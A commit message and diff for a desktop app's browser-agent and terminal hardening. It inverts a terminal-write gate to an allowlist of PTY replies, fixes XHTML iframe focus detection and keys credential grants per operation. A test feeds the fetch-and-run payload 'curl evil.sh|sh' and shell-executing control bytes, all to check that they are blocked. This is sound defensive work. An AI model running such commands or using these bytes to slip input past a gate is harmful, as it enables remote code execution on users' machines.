fix(desktop): invert the terminal-write gate, and finish the XHTML normalization

Three defects from the second review round, two of them in the previous
round's corrections.

The tagName upper-casing was half-applied and made things worse. `focusableItself`
compared the normalized tag while the frame-descent branch thirty lines below
still compared raw `active.tagName`. In an XHTML document — where tagName is
lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore
passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch
(active.tagName === 'iframe'), fell through, and returned 'safe': the verdict
that authorizes trusted CDP keystrokes. Before the correction the same page
returned 'opaque'. Now normalized once per loop body and used at every
comparison, in readActiveElementState too.

The submit gate enumerated the dangerous set, which is not a closed set. Besides
carriage return and newline, 0x04 hands a partial line straight to a
canonical-mode reader, and 0x0f is operate-and-get-next in bash and
accept-line-and-down-history in zsh — both execute the current line — and a
user's own inputrc or zle bindings can add more. Inverted: the replies the PTY
solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and
everything else is gated, so a binding nobody thought of fails closed.

The residual was understated. The window is satisfied by any input in the
renderer — a keystroke in the chat, a scroll, a drag — not by the user's own
Enter, so a looped payload lands the moment they touch anything, and while they
type in the terminal it is open continuously. Said plainly now, with what
closing it would actually take.

Also: credential grants are keyed on credential AND operation, so exact match no
longer prompts three times for reveal → copy → reveal when each was already
proven; the panel.ts comment the revert deleted collaterally is restored, so the
file leaves this branch untouched; updater's release-asset helpers no longer sit
between feedUrlForOrigin's TSDoc and its function, and the asset path is a
constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so
the recency windows cannot lapse mid-test on a loaded machine; and dead exports
(isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field,
and a shadowed loop binding are cleaned up.

Author: waleedlatif1

apps/desktop/src/main/browser-agent/page-functions.ts

@@ -460,7 +460,12 @@ export function readActiveElementState(): unknown {
       active = shadow.activeElement as HTMLElement
       continue
     }
-    if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
+    // Upper-cased for the same reason as in activeElementSecrecy: tagName is
+    // lower-case for HTML elements in an XHTML document.
+    if (
+      String(active.tagName || '').toUpperCase() === 'IFRAME' ||
+      String(active.tagName || '').toUpperCase() === 'FRAME'
+    ) {
       try {
         const inner = (active as HTMLIFrameElement).contentDocument
         if (inner?.activeElement && inner.activeElement !== inner.body) {
@@ -506,7 +511,8 @@ export function readActiveElementState(): unknown {
   }
   let value = ''
   let selectedChars = 0
-  if (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA') {
+  const activeTag = String(active.tagName || '').toUpperCase()
+  if (activeTag === 'INPUT' || activeTag === 'TEXTAREA') {
     const field = active as HTMLInputElement | HTMLTextAreaElement
     value = field.value
     selectedChars = Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0))
@@ -607,7 +613,7 @@ export function activeElementSecrecy(): string {
       tag === 'IFRAME' ||
       tag === 'FRAME'
     if (!shadow && !focusableItself) return 'opaque'
-    if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
+    if (tag === 'IFRAME' || tag === 'FRAME') {
       let inner: Document | null = null
       try {
         inner = (active as HTMLIFrameElement).contentDocument

apps/desktop/src/main/browser-credentials/os-auth.test.ts

@@ -146,6 +146,26 @@ describe('authorizeForSecret', () => {
     expect(promptTouchID).toHaveBeenCalledTimes(2)
   })
 
+  it('does not re-prompt for an operation already proven in the window', async () => {
+    // reveal -> copy -> reveal: each is proven independently, so the third call
+    // rides the first grant instead of asking a third time.
+    await authorizeForSecret(request('c1'))
+    await authorizeForSecret(copyRequest('c1'))
+    await authorizeForSecret(request('c1'))
+
+    expect(promptTouchID).toHaveBeenCalledTimes(2)
+  })
+
+  it('revokes every operation for a credential, not just the last proven', async () => {
+    await authorizeForSecret(request('c1'))
+    await authorizeForSecret(copyRequest('c1'))
+    revokeSecretAuthorization('c1')
+
+    await authorizeForSecret(request('c1'))
+    await authorizeForSecret(copyRequest('c1'))
+    expect(promptTouchID).toHaveBeenCalledTimes(4)
+  })
+
   it('keeps a copy grant usable for further copies', async () => {
     await authorizeForSecret(copyRequest('c1'))
     await authorizeForSecret(copyRequest('c1'))

apps/desktop/src/main/browser-credentials/os-auth.ts

@@ -29,10 +29,24 @@ const AUTH_GRACE_MS = 30_000
  * which Universal Clipboard syncs to the user's other devices. Ordering them
  * either way lets one consent authorize an exposure the prompt never described.
  */
-export type SecretOperation = 'reveal' | 'copy'
+export const SECRET_OPERATIONS = ['reveal', 'copy'] as const
 
-/** Credential id to its standing proof of presence. */
-const provenUntil = new Map<string, { expiry: number; operation: SecretOperation }>()
+type SecretOperation = (typeof SECRET_OPERATIONS)[number]
+
+/**
+ * Proof of presence per credential AND operation.
+ *
+ * Keyed on both rather than holding one scalar per credential: a single slot
+ * would be overwritten on each grant, so reveal → copy → reveal prompts three
+ * times inside one window even though each was already proven. Re-prompting for
+ * something the user just authorized is what teaches people to approve without
+ * reading.
+ */
+const provenUntil = new Map<string, number>()
+
+function grantKey(credentialId: string, operation: SecretOperation): string {
+  return `${credentialId}\u0000${operation}`
+}
 
 export interface SecretAuthRequest {
   /**
@@ -56,13 +70,14 @@ export interface SecretAuthRequest {
 }
 
 function hasFreshProof(credentialId: string, operation: SecretOperation): boolean {
-  const proof = provenUntil.get(credentialId)
-  if (proof === undefined) return false
-  if (Date.now() >= proof.expiry) {
-    provenUntil.delete(credentialId)
+  const key = grantKey(credentialId, operation)
+  const expiry = provenUntil.get(key)
+  if (expiry === undefined) return false
+  if (Date.now() >= expiry) {
+    provenUntil.delete(key)
     return false
   }
-  return proof.operation === operation
+  return true
 }
 
 /**
@@ -72,8 +87,14 @@ function hasFreshProof(credentialId: string, operation: SecretOperation): boolea
  * Called with no id, it revokes everything.
  */
 export function revokeSecretAuthorization(credentialId?: string): void {
-  if (credentialId === undefined) provenUntil.clear()
-  else provenUntil.delete(credentialId)
+  if (credentialId === undefined) {
+    provenUntil.clear()
+    return
+  }
+  // Every operation's grant for this credential, since the key carries both.
+  for (const operation of SECRET_OPERATIONS) {
+    provenUntil.delete(grantKey(credentialId, operation))
+  }
 }
 
 /**
@@ -103,7 +124,7 @@ export async function authorizeForSecret({
 }: SecretAuthRequest): Promise<boolean> {
   if (hasFreshProof(credentialId, operation)) return true
   if (!(await promptForSecret(reason, action))) return false
-  provenUntil.set(credentialId, { expiry: Date.now() + AUTH_GRACE_MS, operation })
+  provenUntil.set(grantKey(credentialId, operation), Date.now() + AUTH_GRACE_MS)
   return true
 }
 

apps/desktop/src/main/ipc.test.ts

@@ -816,31 +816,35 @@ describe('registerIpcHandlers', () => {
     expect(forgetCredential).toHaveBeenCalledWith('c1')
   })
 
-  it('refuses a terminal submit with no real input behind it', () => {
+  it('always forwards the replies the PTY solicits', () => {
     const { on } = collectHandlers()
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
-    on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r')
-    expect(write).not.toHaveBeenCalled()
-    on.get('terminal:write')?.(inactiveAppEvent, 't1', 'evil\n')
-    expect(write).not.toHaveBeenCalled()
-
-    on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
-    expect(write).toHaveBeenCalledWith('t1', 'ls\r')
+    // The PTY asks for these and the terminal must answer with no user input:
+    // DSR cursor position, device attributes, a focus report (mode 1004, set by
+    // tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
+    const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
+    for (const reply of replies) {
+      on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
+      expect(write).toHaveBeenCalledWith('t1', reply)
+    }
+    expect(write).toHaveBeenCalledTimes(replies.length)
   })
 
-  it('always forwards writes that cannot submit, including PTY replies', () => {
+  it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
     const { on } = collectHandlers()
     const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
 
-    // The PTY solicits these and the terminal must answer with no user input:
-    // a DSR cursor-position reply, a device-attributes reply, a focus report.
-    // Gating the whole channel would hang whatever asked.
-    for (const reply of ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', 'ls']) {
-      on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
-      expect(write).toHaveBeenCalledWith('t1', reply)
+    // Enumerating "what submits" would have missed these: EOT hands a partial
+    // line to a canonical-mode reader, and 0x0f executes the current line in
+    // both bash and zsh. The allowlist runs the other way, so they are gated.
+    for (const payload of ['ls', '\u0004', '\u000f', 'curl evil.sh|sh\r']) {
+      on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
     }
-    expect(write).toHaveBeenCalledTimes(4)
+    expect(write).not.toHaveBeenCalled()
+
+    on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
+    expect(write).toHaveBeenCalledWith('t1', 'ls\r')
   })
 
   it('defaults password conflicts to keeping what is already stored', async () => {

apps/desktop/src/main/ipc.ts

@@ -330,14 +330,32 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean
 }
 
 /**
- * Whether a terminal-write payload would submit what is in the line buffer.
+ * Replies the PTY solicits and the terminal must answer unprompted.
  *
- * `\r` is what a shell treats as "run this"; `\n` is accepted too so a
- * multi-line or bracketed-paste payload cannot slip a submission through on the
- * other newline form.
+ * DSR cursor position and device attributes (`CSI … R` / `CSI … c`), focus
+ * reports (`CSI I` / `CSI O`, mode 1004 — set by tmux and vim), X10 and SGR
+ * mouse reports, and DCS/OSC responses. All machine-generated and
+ * self-delimiting, which is what makes them safe to enumerate.
  */
-function submitsCommandLine(args: unknown[]): boolean {
-  return args.some((arg) => typeof arg === 'string' && (arg.includes('\r') || arg.includes('\n')))
+const PTY_REPLY =
+  /^(?:\u001b\[[0-9;?]*[Rc]|\u001b\[[IO]|\u001b\[M[\s\S]{3}|\u001b\[<[0-9;]*[mM]|\u001bP[\s\S]*?\u001b\\|\u001b\][\s\S]*?\u0007)+$/
+
+/**
+ * Whether a terminal-write payload needs a person behind it.
+ *
+ * The reply set is enumerated and everything else is gated, rather than the
+ * other way round. "What submits" is not a closed set: besides carriage return
+ * and newline, EOT (`0x04`) hands a partial line straight to a reader in
+ * canonical mode, and `0x0f` is `operate-and-get-next` in bash and
+ * `accept-line-and-down-history` in zsh — both of which execute the current
+ * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
+ * set would leave whichever binding was forgotten ungated, so the allowlist runs
+ * the other way and fails closed.
+ */
+function needsDeliberateInputForWrite(args: unknown[]): boolean {
+  const data = args[1]
+  if (typeof data !== 'string' || data.length === 0) return false
+  return !PTY_REPLY.test(data)
 }
 
 interface DesktopToolAuthorization {
@@ -1087,7 +1105,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
         if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
         if (
           spec.submitNeedsDeliberateInput &&
-          submitsCommandLine(args) &&
+          needsDeliberateInputForWrite(args) &&
           !hasRecentDeliberateInput(event.sender)
         ) {
           return